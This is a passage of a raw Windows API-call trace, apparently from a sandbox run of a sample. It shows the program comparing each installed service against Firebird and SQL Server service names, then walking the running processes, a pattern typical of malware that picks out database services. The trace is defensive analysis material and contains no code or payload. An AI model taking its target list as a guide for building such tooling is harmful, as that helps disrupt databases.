lstrlenW (lpString="BFE") returned 3 [0225.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0225.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0225.537] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0225.537] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0225.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0225.537] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0225.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0225.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0225.537] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0225.537] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0225.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0225.537] lstrlenW (lpString="CDPSvc") returned 6 [0225.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0225.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0225.537] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0225.537] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0225.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0225.556] lstrlenW (lpString="ClickToRunSvc") returned 13 [0225.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0225.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0225.556] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0225.557] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0225.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0225.557] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0225.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0225.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0225.557] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0225.557] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0225.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0225.560] lstrlenW (lpString="CryptSvc") returned 8 [0225.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0225.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0225.562] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0225.562] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0225.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0225.562] lstrlenW (lpString="DcomLaunch") returned 10 [0225.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0225.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0225.562] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0225.562] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0225.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0225.562] lstrlenW (lpString="DeviceAssociationService") returned 24 [0225.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0225.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0225.570] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0225.570] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0225.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0225.570] lstrlenW (lpString="Dhcp") returned 4 [0225.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0225.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0225.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0225.572] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0225.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0225.572] lstrlenW (lpString="Dnscache") returned 8 [0225.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0225.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0225.577] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0225.577] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0225.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0225.577] lstrlenW (lpString="DPS") returned 3 [0225.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0225.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0225.577] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0225.577] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0225.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0225.577] lstrlenW (lpString="DusmSvc") returned 7 [0225.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0225.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0225.577] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0225.577] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0225.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0225.577] lstrlenW (lpString="EventLog") returned 8 [0225.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0225.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0225.578] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0225.578] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0225.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0225.578] lstrlenW (lpString="EventSystem") returned 11 [0225.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0225.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0225.578] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0225.578] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0225.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0225.578] lstrlenW (lpString="FontCache") returned 9 [0225.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0225.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0225.578] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0225.578] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0225.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0225.578] lstrlenW (lpString="gpsvc") returned 5 [0225.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0225.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0225.578] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0225.578] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0225.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0225.578] lstrlenW (lpString="iphlpsvc") returned 8 [0225.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0225.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0225.578] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0225.578] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0225.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0225.578] lstrlenW (lpString="KeyIso") returned 6 [0225.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0225.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0225.579] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0225.579] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0225.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0225.579] lstrlenW (lpString="LanmanServer") returned 12 [0225.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0225.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0225.579] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0225.579] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0225.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0225.579] lstrlenW (lpString="LanmanWorkstation") returned 17 [0225.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0225.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0225.579] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0225.579] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0225.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0225.579] lstrlenW (lpString="lfsvc") returned 5 [0225.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0225.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0225.579] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0225.579] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0225.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0225.579] lstrlenW (lpString="lmhosts") returned 7 [0225.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0225.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0225.579] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0225.579] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0225.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0225.580] lstrlenW (lpString="LSM") returned 3 [0225.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0225.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0225.580] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0225.580] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0225.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0225.580] lstrlenW (lpString="MpsSvc") returned 6 [0225.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0225.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0225.580] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0225.580] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0225.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0225.580] lstrlenW (lpString="NcbService") returned 10 [0225.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0225.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0225.580] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0225.580] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0225.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0225.580] lstrlenW (lpString="netprofm") returned 8 [0225.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0225.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0225.580] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0225.580] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0225.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0225.580] lstrlenW (lpString="NgcSvc") returned 6 [0225.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0225.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0225.581] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0225.581] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0225.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0225.581] lstrlenW (lpString="NlaSvc") returned 6 [0225.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0225.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0225.581] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0225.581] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0225.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0225.581] lstrlenW (lpString="nsi") returned 3 [0225.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0225.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0225.581] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0225.581] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0225.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0225.581] lstrlenW (lpString="PcaSvc") returned 6 [0225.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0225.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0225.581] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0225.581] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0225.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0225.581] lstrlenW (lpString="PlugPlay") returned 8 [0225.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0225.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0225.581] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0225.581] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0225.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0225.581] lstrlenW (lpString="Power") returned 5 [0225.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0225.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0225.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0225.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0225.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0225.582] lstrlenW (lpString="ProfSvc") returned 7 [0225.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0225.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0225.582] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0225.582] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0225.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0225.582] lstrlenW (lpString="RpcEptMapper") returned 12 [0225.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0225.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0225.582] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0225.582] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0225.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0225.582] lstrlenW (lpString="RpcSs") returned 5 [0225.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0225.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0225.582] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0225.582] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0225.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0225.582] lstrlenW (lpString="SamSs") returned 5 [0225.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0225.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0225.582] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0225.582] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0225.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0225.582] lstrlenW (lpString="Schedule") returned 8 [0225.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0225.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0225.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0225.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0225.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0225.583] lstrlenW (lpString="SecurityHealthService") returned 21 [0225.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0225.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0225.583] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0225.583] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0225.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0225.583] lstrlenW (lpString="SENS") returned 4 [0225.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0225.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0225.583] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0225.583] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0225.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0225.583] lstrlenW (lpString="ShellHWDetection") returned 16 [0225.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0225.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0225.583] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0225.583] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0225.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0225.583] lstrlenW (lpString="Spooler") returned 7 [0225.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0225.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0225.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0225.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0225.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0225.583] lstrlenW (lpString="StateRepository") returned 15 [0225.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0225.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0225.584] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0225.584] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0225.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0225.584] lstrlenW (lpString="SysMain") returned 7 [0225.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0225.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0225.584] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0225.584] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0225.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0225.584] lstrlenW (lpString="SystemEventsBroker") returned 18 [0225.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0225.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0225.584] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0225.584] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0225.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0225.584] lstrlenW (lpString="Themes") returned 6 [0225.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0225.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0225.584] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0225.584] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0225.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0225.584] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0225.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0225.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0225.584] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0225.584] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0225.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0225.584] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0225.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0225.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0225.585] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0225.585] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0225.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41a8328 | out: hHeap=0x670000) returned 1 [0225.585] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x39c [0225.590] Process32FirstW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.591] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0225.591] lstrlenW (lpString="System") returned 6 [0225.591] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0225.592] lstrlenW (lpString="smss.exe") returned 8 [0225.592] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.592] lstrlenW (lpString="csrss.exe") returned 9 [0225.592] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0225.746] lstrlenW (lpString="wininit.exe") returned 11 [0225.746] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.747] lstrlenW (lpString="csrss.exe") returned 9 [0225.747] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0225.747] lstrlenW (lpString="winlogon.exe") returned 12 [0225.747] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0225.748] lstrlenW (lpString="services.exe") returned 12 [0225.748] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0225.748] lstrlenW (lpString="lsass.exe") returned 9 [0225.749] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0225.749] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0225.750] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0225.750] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0225.750] Process32NextW (in: hSnapshot=0x39c, lppe=0x248fd2c | out: 